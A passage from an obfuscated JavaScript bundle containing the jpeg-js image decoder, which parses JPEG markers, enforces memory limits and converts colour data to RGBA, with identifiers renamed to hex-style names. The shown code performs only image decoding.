| _0x90d6a1[32 + _0x2fe8c1] = _0x2d2432 - _0xbfb777; | |
| } | |
| for (_0x36d81a = 0x0; _0x36d81a < 0x40; ++_0x36d81a) { | |
| var _0x3ed724 = 0x80 + (_0x90d6a1[_0x36d81a] + 0x8 >> 0x4); | |
| _0x1d3e52[_0x36d81a] = _0x3ed724 < 0x0 ? 0x0 : _0x3ed724 > 0xff ? 0xff : _0x3ed724; | |
| } | |
| } | |
| _0x1f3f9a(_0x561748 * _0x8cb779 * 0x8); | |
| var _0x2ed61c, _0x457afd; | |
| for (var _0x34cb0f = 0x0; _0x34cb0f < _0x8cb779; _0x34cb0f++) { | |
| var _0x55466c = _0x34cb0f << 0x3; | |
| for (_0x2ed61c = 0x0; _0x2ed61c < 0x8; _0x2ed61c++) { | |
| _0x289e53.push(new Uint8Array(_0x561748)); | |
| } | |
| for (var _0x3f00cd = 0x0; _0x3f00cd < _0x311b5d; _0x3f00cd++) { | |
| _0x22471f(_0x20ba35.blocks[_0x34cb0f][_0x3f00cd], _0x3a34ad, _0x20acf8); | |
| var _0x2c1d2b = 0x0, | |
| _0x45d082 = _0x3f00cd << 0x3; | |
| for (_0x457afd = 0x0; _0x457afd < 0x8; _0x457afd++) { | |
| var _0x133d26 = _0x289e53[_0x55466c + _0x457afd]; | |
| for (_0x2ed61c = 0x0; _0x2ed61c < 0x8; _0x2ed61c++) { | |
| _0x133d26[_0x45d082 + _0x2ed61c] = _0x3a34ad[_0x2c1d2b++]; | |
| } | |
| } | |
| } | |
| } | |
| return _0x289e53; | |
| } | |
| function _0x16756f(_0x1a20ca) { | |
| if (_0x1a20ca < 0x0) { | |
| return 0x0; | |
| } | |
| if (_0x1a20ca > 0xff) { | |
| return 0xff; | |
| } | |
| return _0x1a20ca; | |
| } | |
| _0x1bd928.prototype = { | |
| load: function _0x5cd45b(_0x43beae) { | |
| var _0xf1d4d1 = new XMLHttpRequest(); | |
| _0xf1d4d1.open('GET', _0x43beae, true); | |
| _0xf1d4d1.responseType = "arraybuffer"; | |
| _0xf1d4d1.onload = function () { | |
| var _0x132ed7 = new Uint8Array(_0xf1d4d1.response || _0xf1d4d1["mozResponseArrayBuffer"]); | |
| this.parse(_0x132ed7); | |
| if (this.onload) { | |
| this.onload(); | |
| } | |
| }.bind(this); | |
| _0xf1d4d1.send(null); | |
| }, | |
| parse: function _0x3929eb(_0x40afa7) { | |
| var _0x38826f = this.opts.maxResolutionInMP * 0x3e8 * 0x3e8, | |
| _0x4ca311 = 0x0, | |
| _0x2e9fb7 = _0x40afa7.length; | |
| function _0x38bfe6() { | |
| var _0x5cc642 = _0x40afa7[_0x4ca311] << 0x8 | _0x40afa7[_0x4ca311 + 0x1]; | |
| _0x4ca311 += 0x2; | |
| return _0x5cc642; | |
| } | |
| function _0x191235() { | |
| var _0x23e96a = _0x38bfe6(), | |
| _0x5f234b = _0x40afa7.subarray(_0x4ca311, _0x4ca311 + _0x23e96a - 0x2); | |
| _0x4ca311 += _0x5f234b.length; | |
| return _0x5f234b; | |
| } | |
| function _0x48f4d8(_0x3a8d37) { | |
| var _0x335d4a = 0x1, | |
| _0x57820f = 0x1, | |
| _0x253836, | |
| _0x38af5b; | |
| for (_0x38af5b in _0x3a8d37.components) { | |
| if (_0x3a8d37.components.hasOwnProperty(_0x38af5b)) { | |
| _0x253836 = _0x3a8d37.components[_0x38af5b]; | |
| if (_0x335d4a < _0x253836.h) { | |
| _0x335d4a = _0x253836.h; | |
| } | |
| if (_0x57820f < _0x253836.v) { | |
| _0x57820f = _0x253836.v; | |
| } | |
| } | |
| } | |
| var _0x8259fd = Math.ceil(_0x3a8d37.samplesPerLine / 0x8 / _0x335d4a), | |
| _0x3ad1e3 = Math.ceil(_0x3a8d37.scanLines / 0x8 / _0x57820f); | |
| for (_0x38af5b in _0x3a8d37.components) { | |
| if (_0x3a8d37.components.hasOwnProperty(_0x38af5b)) { | |
| _0x253836 = _0x3a8d37.components[_0x38af5b]; | |
| var _0x3c7c74 = Math.ceil(Math.ceil(_0x3a8d37.samplesPerLine / 0x8) * _0x253836.h / _0x335d4a), | |
| _0x3b4f12 = Math.ceil(Math.ceil(_0x3a8d37.scanLines / 0x8) * _0x253836.v / _0x57820f), | |
| _0x372dee = _0x8259fd * _0x253836.h, | |
| _0x11bda2 = _0x3ad1e3 * _0x253836.v, | |
| _0x1b567f = _0x11bda2 * _0x372dee, | |
| _0x471b0a = []; | |
| _0x1f3f9a(_0x1b567f * 0x100); | |
| for (var _0x134b15 = 0x0; _0x134b15 < _0x11bda2; _0x134b15++) { | |
| var _0x2a117c = []; | |
| for (var _0x55429d = 0x0; _0x55429d < _0x372dee; _0x55429d++) { | |
| _0x2a117c.push(new Int32Array(0x40)); | |
| } | |
| _0x471b0a.push(_0x2a117c); | |
| } | |
| _0x253836.blocksPerLine = _0x3c7c74; | |
| _0x253836.blocksPerColumn = _0x3b4f12; | |
| _0x253836.blocks = _0x471b0a; | |
| } | |
| } | |
| _0x3a8d37.maxH = _0x335d4a; | |
| _0x3a8d37.maxV = _0x57820f; | |
| _0x3a8d37.mcusPerLine = _0x8259fd; | |
| _0x3a8d37.mcusPerColumn = _0x3ad1e3; | |
| } | |
| var _0xf320b4 = null, | |
| _0x14884c = null, | |
| _0x2894d9 = null, | |
| _0x5489f3, | |
| _0x2883db, | |
| _0x45b2e7 = [], | |
| _0x1d9b42 = [], | |
| _0x2104e0 = [], | |
| _0x5691ed = [], | |
| _0x1fd6c5 = _0x38bfe6(), | |
| _0x5e18ce = -0x1; | |
| this.comments = []; | |
| if (_0x1fd6c5 != 0xffd8) { | |
| throw new Error("SOI not found"); | |
| } | |
| _0x1fd6c5 = _0x38bfe6(); | |
| while (_0x1fd6c5 != 0xffd9) { | |
| var _0x249cf2, _0x22bbc4, _0x297a71; | |
| switch (_0x1fd6c5) { | |
| case 0xff00: | |
| break; | |
| case 0xffe0: | |
| case 0xffe1: | |
| case 0xffe2: | |
| case 0xffe3: | |
| case 0xffe4: | |
| case 0xffe5: | |
| case 0xffe6: | |
| case 0xffe7: | |
| case 0xffe8: | |
| case 0xffe9: | |
| case 0xffea: | |
| case 0xffeb: | |
| case 0xffec: | |
| case 0xffed: | |
| case 0xffee: | |
| case 0xffef: | |
| case 0xfffe: | |
| var _0x401b42 = _0x191235(); | |
| if (_0x1fd6c5 === 0xfffe) { | |
| var _0x41fd3d = String.fromCharCode.apply(null, _0x401b42); | |
| this.comments.push(_0x41fd3d); | |
| } | |
| if (_0x1fd6c5 === 0xffe0) { | |
| if (_0x401b42[0x0] === 0x4a && _0x401b42[0x1] === 0x46 && _0x401b42[0x2] === 0x49 && _0x401b42[0x3] === 0x46 && _0x401b42[0x4] === 0x0) { | |
| _0xf320b4 = { | |
| version: { | |
| major: _0x401b42[0x5], | |
| minor: _0x401b42[0x6] | |
| }, | |
| densityUnits: _0x401b42[0x7], | |
| xDensity: _0x401b42[0x8] << 0x8 | _0x401b42[0x9], | |
| yDensity: _0x401b42[0xa] << 0x8 | _0x401b42[0xb], | |
| thumbWidth: _0x401b42[0xc], | |
| thumbHeight: _0x401b42[0xd], | |
| thumbData: _0x401b42.subarray(0xe, 0xe + 0x3 * _0x401b42[0xc] * _0x401b42[0xd]) | |
| }; | |
| } | |
| } | |
| if (_0x1fd6c5 === 0xffe1) { | |
| if (_0x401b42[0x0] === 0x45 && _0x401b42[0x1] === 0x78 && _0x401b42[0x2] === 0x69 && _0x401b42[0x3] === 0x66 && _0x401b42[0x4] === 0x0) { | |
| this.exifBuffer = _0x401b42.subarray(0x5, _0x401b42.length); | |
| } | |
| } | |
| if (_0x1fd6c5 === 0xffee) { | |
| if (_0x401b42[0x0] === 0x41 && _0x401b42[0x1] === 0x64 && _0x401b42[0x2] === 0x6f && _0x401b42[0x3] === 0x62 && _0x401b42[0x4] === 0x65 && _0x401b42[0x5] === 0x0) { | |
| _0x14884c = { | |
| version: _0x401b42[0x6], | |
| flags0: _0x401b42[0x7] << 0x8 | _0x401b42[0x8], | |
| flags1: _0x401b42[0x9] << 0x8 | _0x401b42[0xa], | |
| transformCode: _0x401b42[0xb] | |
| }; | |
| } | |
| } | |
| break; | |
| case 0xffdb: | |
| var _0x2aa3b8 = _0x38bfe6(), | |
| _0x3d42e9 = _0x2aa3b8 + _0x4ca311 - 0x2; | |
| while (_0x4ca311 < _0x3d42e9) { | |
| var _0x164101 = _0x40afa7[_0x4ca311++]; | |
| _0x1f3f9a(256); | |
| var _0x354d04 = new Int32Array(0x40); | |
| if (_0x164101 >> 0x4 === 0x0) { | |
| for (_0x22bbc4 = 0x0; _0x22bbc4 < 0x40; _0x22bbc4++) { | |
| var _0x1f89af = _0x21c37b[_0x22bbc4]; | |
| _0x354d04[_0x1f89af] = _0x40afa7[_0x4ca311++]; | |
| } | |
| } else if (_0x164101 >> 0x4 === 0x1) { | |
| for (_0x22bbc4 = 0x0; _0x22bbc4 < 0x40; _0x22bbc4++) { | |
| var _0x1f89af = _0x21c37b[_0x22bbc4]; | |
| _0x354d04[_0x1f89af] = _0x38bfe6(); | |
| } | |
| } else { | |
| throw new Error("DQT: invalid table spec"); | |
| } | |
| _0x45b2e7[_0x164101 & 0xf] = _0x354d04; | |
| } | |
| break; | |
| case 0xffc0: | |
| case 0xffc1: | |
| case 0xffc2: | |
| _0x38bfe6(); | |
| _0x5489f3 = {}; | |
| _0x5489f3.extended = _0x1fd6c5 === 0xffc1; | |
| _0x5489f3.progressive = _0x1fd6c5 === 0xffc2; | |
| _0x5489f3.precision = _0x40afa7[_0x4ca311++]; | |
| _0x5489f3.scanLines = _0x38bfe6(); | |
| _0x5489f3.samplesPerLine = _0x38bfe6(); | |
| _0x5489f3.components = {}; | |
| _0x5489f3.componentsOrder = []; | |
| var _0x5bbd99 = _0x5489f3.scanLines * _0x5489f3.samplesPerLine; | |
| if (_0x5bbd99 > _0x38826f) { | |
| var _0x5d9012 = Math.ceil((_0x5bbd99 - _0x38826f) / 0xf4240); | |
| throw new Error("maxResolutionInMP limit exceeded by " + _0x5d9012 + 'MP'); | |
| } | |
| var _0x37799a = _0x40afa7[_0x4ca311++], | |
| _0x498f4d, | |
| _0x64f4f1 = 0x0, | |
| _0x24211e = 0x0; | |
| for (_0x249cf2 = 0x0; _0x249cf2 < _0x37799a; _0x249cf2++) { | |
| _0x498f4d = _0x40afa7[_0x4ca311]; | |
| var _0x120659 = _0x40afa7[_0x4ca311 + 0x1] >> 0x4, | |
| _0x10d5b7 = _0x40afa7[_0x4ca311 + 0x1] & 0xf, | |
| _0x49732e = _0x40afa7[_0x4ca311 + 0x2]; | |
| if (_0x120659 <= 0x0 || _0x10d5b7 <= 0x0) { | |
| throw new Error("Invalid sampling factor, expected values above 0"); | |
| } | |
| _0x5489f3.componentsOrder.push(_0x498f4d); | |
| _0x5489f3.components[_0x498f4d] = { | |
| h: _0x120659, | |
| v: _0x10d5b7, | |
| quantizationIdx: _0x49732e | |
| }; | |
| _0x4ca311 += 0x3; | |
| } | |
| _0x48f4d8(_0x5489f3); | |
| _0x1d9b42.push(_0x5489f3); | |
| break; | |
| case 0xffc4: | |
| var _0x7d1f3b = _0x38bfe6(); | |
| for (_0x249cf2 = 0x2; _0x249cf2 < _0x7d1f3b;) { | |
| var _0x3d8a98 = _0x40afa7[_0x4ca311++], | |
| _0x5df38d = new Uint8Array(0x10), | |
| _0x45691b = 0x0; | |
| for (_0x22bbc4 = 0x0; _0x22bbc4 < 0x10; _0x4ca311++) { | |
| _0x45691b += _0x5df38d[_0x22bbc4] = _0x40afa7[_0x4ca311]; | |
| _0x22bbc4++; | |
| } | |
| _0x1f3f9a(0x10 + _0x45691b); | |
| var _0x3cd5f2 = new Uint8Array(_0x45691b); | |
| for (_0x22bbc4 = 0x0; _0x22bbc4 < _0x45691b; _0x4ca311++) { | |
| _0x3cd5f2[_0x22bbc4] = _0x40afa7[_0x4ca311]; | |
| _0x22bbc4++; | |
| } | |
| _0x249cf2 += 0x11 + _0x45691b; | |
| (_0x3d8a98 >> 0x4 === 0x0 ? _0x5691ed : _0x2104e0)[_0x3d8a98 & 0xf] = _0x285357(_0x5df38d, _0x3cd5f2); | |
| } | |
| break; | |
| case 0xffdd: | |
| _0x38bfe6(); | |
| _0x2883db = _0x38bfe6(); | |
| break; | |
| case 0xffdc: | |
| _0x38bfe6(); | |
| _0x38bfe6(); | |
| break; | |
| case 0xffda: | |
| var _0x204d7b = _0x38bfe6(), | |
| _0x120ad2 = _0x40afa7[_0x4ca311++], | |
| _0x316383 = [], | |
| _0x72361d; | |
| for (_0x249cf2 = 0x0; _0x249cf2 < _0x120ad2; _0x249cf2++) { | |
| _0x72361d = _0x5489f3.components[_0x40afa7[_0x4ca311++]]; | |
| var _0x48b509 = _0x40afa7[_0x4ca311++]; | |
| _0x72361d.huffmanTableDC = _0x5691ed[_0x48b509 >> 0x4]; | |
| _0x72361d.huffmanTableAC = _0x2104e0[_0x48b509 & 0xf]; | |
| _0x316383.push(_0x72361d); | |
| } | |
| var _0x7d2d88 = _0x40afa7[_0x4ca311++], | |
| _0x4ad07a = _0x40afa7[_0x4ca311++], | |
| _0x24837d = _0x40afa7[_0x4ca311++], | |
| _0x439d9a = _0x18192a(_0x40afa7, _0x4ca311, _0x5489f3, _0x316383, _0x2883db, _0x7d2d88, _0x4ad07a, _0x24837d >> 0x4, _0x24837d & 0xf, this.opts); | |
| _0x4ca311 += _0x439d9a; | |
| break; | |
| case 0xffff: | |
| if (_0x40afa7[_0x4ca311] !== 0xff) { | |
| _0x4ca311--; | |
| } | |
| break; | |
| default: | |
| if (_0x40afa7[_0x4ca311 - 0x3] == 0xff && _0x40afa7[_0x4ca311 - 0x2] >= 0xc0 && _0x40afa7[_0x4ca311 - 0x2] <= 0xfe) { | |
| _0x4ca311 -= 0x3; | |
| break; | |
| } else if (_0x1fd6c5 === 0xe0 || _0x1fd6c5 == 0xe1) { | |
| if (_0x5e18ce !== -0x1) { | |
| throw new Error("first unknown JPEG marker at offset " + _0x5e18ce.toString(0x10) + ", second unknown JPEG marker " + _0x1fd6c5.toString(0x10) + " at offset " + (_0x4ca311 - 0x1).toString(0x10)); | |
| } | |
| _0x5e18ce = _0x4ca311 - 0x1; | |
| const _0x5f58e6 = _0x38bfe6(); | |
| if (_0x40afa7[_0x4ca311 + _0x5f58e6 - 0x2] === 0xff) { | |
| _0x4ca311 += _0x5f58e6 - 0x2; | |
| break; | |
| } | |
| } | |
| throw new Error("unknown JPEG marker " + _0x1fd6c5.toString(0x10)); | |
| } | |
| _0x1fd6c5 = _0x38bfe6(); | |
| } | |
| if (_0x1d9b42.length != 0x1) { | |
| throw new Error("only single frame JPEGs supported"); | |
| } | |
| for (var _0x249cf2 = 0x0; _0x249cf2 < _0x1d9b42.length; _0x249cf2++) { | |
| var _0x26ec36 = _0x1d9b42[_0x249cf2].components; | |
| for (var _0x22bbc4 in _0x26ec36) { | |
| _0x26ec36[_0x22bbc4].quantizationTable = _0x45b2e7[_0x26ec36[_0x22bbc4].quantizationIdx]; | |
| delete _0x26ec36[_0x22bbc4].quantizationIdx; | |
| } | |
| } | |
| this.width = _0x5489f3.samplesPerLine; | |
| this.height = _0x5489f3.scanLines; | |
| this.jfif = _0xf320b4; | |
| this.adobe = _0x14884c; | |
| this.components = []; | |
| for (var _0x249cf2 = 0x0; _0x249cf2 < _0x5489f3.componentsOrder.length; _0x249cf2++) { | |
| var _0x72361d = _0x5489f3.components[_0x5489f3.componentsOrder[_0x249cf2]]; | |
| this.components.push({ | |
| lines: _0x531027(_0x5489f3, _0x72361d), | |
| scaleX: _0x72361d.h / _0x5489f3.maxH, | |
| scaleY: _0x72361d.v / _0x5489f3.maxV | |
| }); | |
| } | |
| }, | |
| getData: function _0x2f722a(_0x3d6beb, _0xc734e0) { | |
| var _0x2fcfff = this.width / _0x3d6beb, | |
| _0x17f03a = this.height / _0xc734e0, | |
| _0xa77ed4, | |
| _0x932403, | |
| _0x41924b, | |
| _0x29fe73, | |
| _0x161f09, | |
| _0x99547c, | |
| _0x2838b1, | |
| _0x503c90, | |
| _0x1fc6e5, | |
| _0x14394e, | |
| _0x31d119 = 0x0, | |
| _0x3aa1f3, | |
| _0x180029, | |
| _0x161c43, | |
| _0x87dbec, | |
| _0x687c2b, | |
| _0x4737fa, | |
| _0x437546, | |
| _0x2d3cb3, | |
| _0x3fcd36, | |
| _0x35da61, | |
| _0x52bf1e, | |
| _0x38c481 = _0x3d6beb * _0xc734e0 * this.components.length; | |
| _0x1f3f9a(_0x38c481); | |
| var _0x3f47a7 = new Uint8Array(_0x38c481); | |
| switch (this.components.length) { | |
| case 0x1: | |
| _0xa77ed4 = this.components[0x0]; | |
| for (_0x14394e = 0x0; _0x14394e < _0xc734e0; _0x14394e++) { | |
| _0x161f09 = _0xa77ed4.lines[0x0 | _0x14394e * _0xa77ed4.scaleY * _0x17f03a]; | |
| for (_0x1fc6e5 = 0x0; _0x1fc6e5 < _0x3d6beb; _0x1fc6e5++) { | |
| _0x3aa1f3 = _0x161f09[0x0 | _0x1fc6e5 * _0xa77ed4.scaleX * _0x2fcfff]; | |
| _0x3f47a7[_0x31d119++] = _0x3aa1f3; | |
| } | |
| } | |
| break; | |
| case 0x2: | |
| _0xa77ed4 = this.components[0x0]; | |
| _0x932403 = this.components[0x1]; | |
| for (_0x14394e = 0x0; _0x14394e < _0xc734e0; _0x14394e++) { | |
| _0x161f09 = _0xa77ed4.lines[0x0 | _0x14394e * _0xa77ed4.scaleY * _0x17f03a]; | |
| _0x99547c = _0x932403.lines[0x0 | _0x14394e * _0x932403.scaleY * _0x17f03a]; | |
| for (_0x1fc6e5 = 0x0; _0x1fc6e5 < _0x3d6beb; _0x1fc6e5++) { | |
| _0x3aa1f3 = _0x161f09[0x0 | _0x1fc6e5 * _0xa77ed4.scaleX * _0x2fcfff]; | |
| _0x3f47a7[_0x31d119++] = _0x3aa1f3; | |
| _0x3aa1f3 = _0x99547c[0x0 | _0x1fc6e5 * _0x932403.scaleX * _0x2fcfff]; | |
| _0x3f47a7[_0x31d119++] = _0x3aa1f3; | |
| } | |
| } | |
| break; | |
| case 0x3: | |
| _0x52bf1e = true; | |
| if (this.adobe && this.adobe.transformCode) { | |
| _0x52bf1e = true; | |
| } else if (typeof this.opts.colorTransform !== "undefined") { | |
| _0x52bf1e = !!this.opts.colorTransform; | |
| } | |
| _0xa77ed4 = this.components[0x0]; | |
| _0x932403 = this.components[0x1]; | |
| _0x41924b = this.components[0x2]; | |
| for (_0x14394e = 0x0; _0x14394e < _0xc734e0; _0x14394e++) { | |
| _0x161f09 = _0xa77ed4.lines[0x0 | _0x14394e * _0xa77ed4.scaleY * _0x17f03a]; | |
| _0x99547c = _0x932403.lines[0x0 | _0x14394e * _0x932403.scaleY * _0x17f03a]; | |
| _0x2838b1 = _0x41924b.lines[0x0 | _0x14394e * _0x41924b.scaleY * _0x17f03a]; | |
| for (_0x1fc6e5 = 0x0; _0x1fc6e5 < _0x3d6beb; _0x1fc6e5++) { | |
| _0x2d3cb3 = _0x161f09[0x0 | _0x1fc6e5 * _0xa77ed4.scaleX * _0x2fcfff]; | |
| _0x3fcd36 = _0x99547c[0x0 | _0x1fc6e5 * _0x932403.scaleX * _0x2fcfff]; | |
| if (!_0x52bf1e) { | |
| _0x35da61 = _0x2838b1[0x0 | _0x1fc6e5 * _0x41924b.scaleX * _0x2fcfff]; | |
| } else { | |
| _0x3aa1f3 = _0x161f09[0x0 | _0x1fc6e5 * _0xa77ed4.scaleX * _0x2fcfff]; | |
| _0x180029 = _0x99547c[0x0 | _0x1fc6e5 * _0x932403.scaleX * _0x2fcfff]; | |
| _0x161c43 = _0x2838b1[0x0 | _0x1fc6e5 * _0x41924b.scaleX * _0x2fcfff]; | |
| _0x2d3cb3 = _0x16756f(_0x3aa1f3 + 1.402 * (_0x161c43 - 0x80)); | |
| _0x3fcd36 = _0x16756f(_0x3aa1f3 - 0.3441363 * (_0x180029 - 0x80) - 0.71413636 * (_0x161c43 - 0x80)); | |
| _0x35da61 = _0x16756f(_0x3aa1f3 + 1.772 * (_0x180029 - 0x80)); | |
| } | |
| _0x3f47a7[_0x31d119++] = _0x2d3cb3; | |
| _0x3f47a7[_0x31d119++] = _0x3fcd36; | |
| _0x3f47a7[_0x31d119++] = _0x35da61; | |
| } | |
| } | |
| break; | |
| case 0x4: | |
| if (!this.adobe) { | |
| throw new Error("Unsupported color mode (4 components)"); | |
| } | |
| _0x52bf1e = false; | |
| if (this.adobe && this.adobe.transformCode) { | |
| _0x52bf1e = true; | |
| } else if (typeof this.opts.colorTransform !== "undefined") { | |
| _0x52bf1e = !!this.opts.colorTransform; | |
| } | |
| _0xa77ed4 = this.components[0x0]; | |
| _0x932403 = this.components[0x1]; | |
| _0x41924b = this.components[0x2]; | |
| _0x29fe73 = this.components[0x3]; | |
| for (_0x14394e = 0x0; _0x14394e < _0xc734e0; _0x14394e++) { | |
| _0x161f09 = _0xa77ed4.lines[0x0 | _0x14394e * _0xa77ed4.scaleY * _0x17f03a]; | |
| _0x99547c = _0x932403.lines[0x0 | _0x14394e * _0x932403.scaleY * _0x17f03a]; | |
| _0x2838b1 = _0x41924b.lines[0x0 | _0x14394e * _0x41924b.scaleY * _0x17f03a]; | |
| _0x503c90 = _0x29fe73.lines[0x0 | _0x14394e * _0x29fe73.scaleY * _0x17f03a]; | |
| for (_0x1fc6e5 = 0x0; _0x1fc6e5 < _0x3d6beb; _0x1fc6e5++) { | |
| _0x687c2b = _0x161f09[0x0 | _0x1fc6e5 * _0xa77ed4.scaleX * _0x2fcfff]; | |
| _0x4737fa = _0x99547c[0x0 | _0x1fc6e5 * _0x932403.scaleX * _0x2fcfff]; | |
| _0x437546 = _0x2838b1[0x0 | _0x1fc6e5 * _0x41924b.scaleX * _0x2fcfff]; | |
| if (!_0x52bf1e) { | |
| _0x87dbec = _0x503c90[0x0 | _0x1fc6e5 * _0x29fe73.scaleX * _0x2fcfff]; | |
| } else { | |
| _0x3aa1f3 = _0x161f09[0x0 | _0x1fc6e5 * _0xa77ed4.scaleX * _0x2fcfff]; | |
| _0x180029 = _0x99547c[0x0 | _0x1fc6e5 * _0x932403.scaleX * _0x2fcfff]; | |
| _0x161c43 = _0x2838b1[0x0 | _0x1fc6e5 * _0x41924b.scaleX * _0x2fcfff]; | |
| _0x87dbec = _0x503c90[0x0 | _0x1fc6e5 * _0x29fe73.scaleX * _0x2fcfff]; | |
| _0x687c2b = 0xff - _0x16756f(_0x3aa1f3 + 1.402 * (_0x161c43 - 0x80)); | |
| _0x4737fa = 0xff - _0x16756f(_0x3aa1f3 - 0.3441363 * (_0x180029 - 0x80) - 0.71413636 * (_0x161c43 - 0x80)); | |
| _0x437546 = 0xff - _0x16756f(_0x3aa1f3 + 1.772 * (_0x180029 - 0x80)); | |
| } | |
| _0x3f47a7[_0x31d119++] = 0xff - _0x687c2b; | |
| _0x3f47a7[_0x31d119++] = 0xff - _0x4737fa; | |
| _0x3f47a7[_0x31d119++] = 0xff - _0x437546; | |
| _0x3f47a7[_0x31d119++] = 0xff - _0x87dbec; | |
| } | |
| } | |
| break; | |
| default: | |
| throw new Error("Unsupported color mode"); | |
| } | |
| return _0x3f47a7; | |
| }, | |
| copyToImageData: function _0x54bf32(_0x34883f, _0x5767cf) { | |
| var _0x405818 = _0x34883f.width, | |
| _0x560992 = _0x34883f.height, | |
| _0x12eb84 = _0x34883f.data, | |
| _0x564eac = this.getData(_0x405818, _0x560992), | |
| _0x274815 = 0x0, | |
| _0x4ad675 = 0x0, | |
| _0x92da14, | |
| _0x1b0340, | |
| _0x51e22e, | |
| _0x4b918f, | |
| _0x2ebea9, | |
| _0x297d89, | |
| _0x239de9, | |
| _0x4a68dd, | |
| _0x586144; | |
| switch (this.components.length) { | |
| case 0x1: | |
| for (_0x1b0340 = 0x0; _0x1b0340 < _0x560992; _0x1b0340++) { | |
| for (_0x92da14 = 0x0; _0x92da14 < _0x405818; _0x92da14++) { | |
| _0x51e22e = _0x564eac[_0x274815++]; | |
| _0x12eb84[_0x4ad675++] = _0x51e22e; | |
| _0x12eb84[_0x4ad675++] = _0x51e22e; | |
| _0x12eb84[_0x4ad675++] = _0x51e22e; | |
| if (_0x5767cf) { | |
| _0x12eb84[_0x4ad675++] = 0xff; | |
| } | |
| } | |
| } | |
| break; | |
| case 0x3: | |
| for (_0x1b0340 = 0x0; _0x1b0340 < _0x560992; _0x1b0340++) { | |
| for (_0x92da14 = 0x0; _0x92da14 < _0x405818; _0x92da14++) { | |
| _0x239de9 = _0x564eac[_0x274815++]; | |
| _0x4a68dd = _0x564eac[_0x274815++]; | |
| _0x586144 = _0x564eac[_0x274815++]; | |
| _0x12eb84[_0x4ad675++] = _0x239de9; | |
| _0x12eb84[_0x4ad675++] = _0x4a68dd; | |
| _0x12eb84[_0x4ad675++] = _0x586144; | |
| if (_0x5767cf) { | |
| _0x12eb84[_0x4ad675++] = 0xff; | |
| } | |
| } | |
| } | |
| break; | |
| case 0x4: | |
| for (_0x1b0340 = 0x0; _0x1b0340 < _0x560992; _0x1b0340++) { | |
| for (_0x92da14 = 0x0; _0x92da14 < _0x405818; _0x92da14++) { | |
| _0x2ebea9 = _0x564eac[_0x274815++]; | |
| _0x297d89 = _0x564eac[_0x274815++]; | |
| _0x51e22e = _0x564eac[_0x274815++]; | |
| _0x4b918f = _0x564eac[_0x274815++]; | |
| _0x239de9 = 0xff - _0x16756f(_0x2ebea9 * (0x1 - _0x4b918f / 0xff) + _0x4b918f); | |
| _0x4a68dd = 0xff - _0x16756f(_0x297d89 * (0x1 - _0x4b918f / 0xff) + _0x4b918f); | |
| _0x586144 = 0xff - _0x16756f(_0x51e22e * (0x1 - _0x4b918f / 0xff) + _0x4b918f); | |
| _0x12eb84[_0x4ad675++] = _0x239de9; | |
| _0x12eb84[_0x4ad675++] = _0x4a68dd; | |
| _0x12eb84[_0x4ad675++] = _0x586144; | |
| if (_0x5767cf) { | |
| _0x12eb84[_0x4ad675++] = 0xff; | |
| } | |
| } | |
| } | |
| break; | |
| default: | |
| throw new Error("Unsupported color mode"); | |
| } | |
| } | |
| }; | |
| var _0x4a4e88 = 0x0, | |
| _0x5eda90 = 0x0; | |
| function _0x1f3f9a(_0x3cbbdc = 0x0) { | |
| var _0x1cab45 = _0x4a4e88 + _0x3cbbdc; | |
| if (_0x1cab45 > _0x5eda90) { | |
| var _0x41bb3f = Math.ceil((_0x1cab45 - _0x5eda90) / 0x400 / 0x400); | |
| throw new Error("maxMemoryUsageInMB limit exceeded by at least " + _0x41bb3f + 'MB'); | |
| } | |
| _0x4a4e88 = _0x1cab45; | |
| } | |
| _0x1bd928.resetMaxMemoryUsage = function (_0x3fb748) { | |
| _0x4a4e88 = 0x0; | |
| _0x5eda90 = _0x3fb748; | |
| }; | |
| _0x1bd928.getBytesAllocated = function () { | |
| return _0x4a4e88; | |
| }; | |
| _0x1bd928["requestMemoryAllocation"] = _0x1f3f9a; | |
| return _0x1bd928; | |
| }(); | |
| if (typeof _0x289c65 !== "undefined") { | |
| _0x289c65.exports = _0xdf1e2c; | |
| } else if (typeof window !== "undefined") { | |
| window["jpeg-js"] = window["jpeg-js"] || {}; | |
| window["jpeg-js"].decode = _0xdf1e2c; | |
| } | |
| function _0xdf1e2c(_0x22f5d2, _0x1df438 = {}) { | |
| var _0xe5ee1b = { | |
| colorTransform: void 0x0, | |
| useTArray: false, | |
| formatAsRGBA: true, | |
| tolerantDecoding: true, | |
| maxResolutionInMP: 0x64, | |
| maxMemoryUsageInMB: 0x200 | |
| }, | |
| _0x31e721 = { | |
| ..._0xe5ee1b, | |
| ..._0x1df438 | |
| }, | |
| _0x1f5263 = new Uint8Array(_0x22f5d2), | |
| _0x585f35 = new _0x5e513b(); | |
| _0x585f35.opts = _0x31e721; | |
| _0x5e513b.resetMaxMemoryUsage(_0x31e721.maxMemoryUsageInMB * 0x400 * 0x400); | |
| _0x585f35.parse(_0x1f5263); | |
| var _0x51d399 = _0x31e721.formatAsRGBA ? 0x4 : 0x3, | |
| _0x22de4a = _0x585f35.width * _0x585f35.height * _0x51d399; | |
| try { | |
| _0x5e513b["requestMemoryAllocation"](_0x22de4a); | |
| var _0x259cf7 = { | |
| width: _0x585f35.width, | |
| height: _0x585f35.height, | |
| exifBuffer: _0x585f35.exifBuffer, | |
| data: _0x31e721.useTArray ? new Uint8Array(_0x22de4a) : Buffer.alloc(_0x22de4a) | |
| }; | |
| if (_0x585f35.comments.length > 0x0) { | |
| _0x259cf7.comments = _0x585f35.comments; | |
| } | |
| } catch (_0x434318) { | |
| if (_0x434318 instanceof RangeError) { | |
| throw new Error("Could not allocate enough memory for the image. Required: " + _0x22de4a); | |
| } | |
| if (_0x434318 instanceof ReferenceError) { | |
| if (_0x434318.message === "Buffer is not defined") { | |
| throw new Error("Buffer is not globally defined in this environment. Consider setting useTArray to true"); | |
| } | |
| } | |
| throw _0x434318; | |
| } | |
| _0x585f35.copyToImageData(_0x259cf7, _0x31e721.formatAsRGBA); | |
| return _0x259cf7; | |
| } | |
| } | |
| }), | |
| require_jpeg_js = __commonJS({ | |
| 'node_modules/.deno/jpeg-js@0.4.4/node_modules/jpeg-js/index.js'(_0x28fa12, _0x5315d8) { | |
| var _0x43c6fb = require_encoder(), | |
| _0x417356 = require_decoder(); | |
| _0x5315d8.exports = { | |
| encode: _0x43c6fb, | |
| decode: _0x417356 | |
| }; | |
| } | |
| }), | |
| import_node_buffer9 = require('node:buffer'), | |
| import_node_fs8 = __toESM(require('node:fs')), | |
| import_node_path8 = __toESM(require('node:path')), | |
| import_node_process9 = __toESM(require('node:process')); | |
| function utf8Count(_0x3c5b2e) { | |
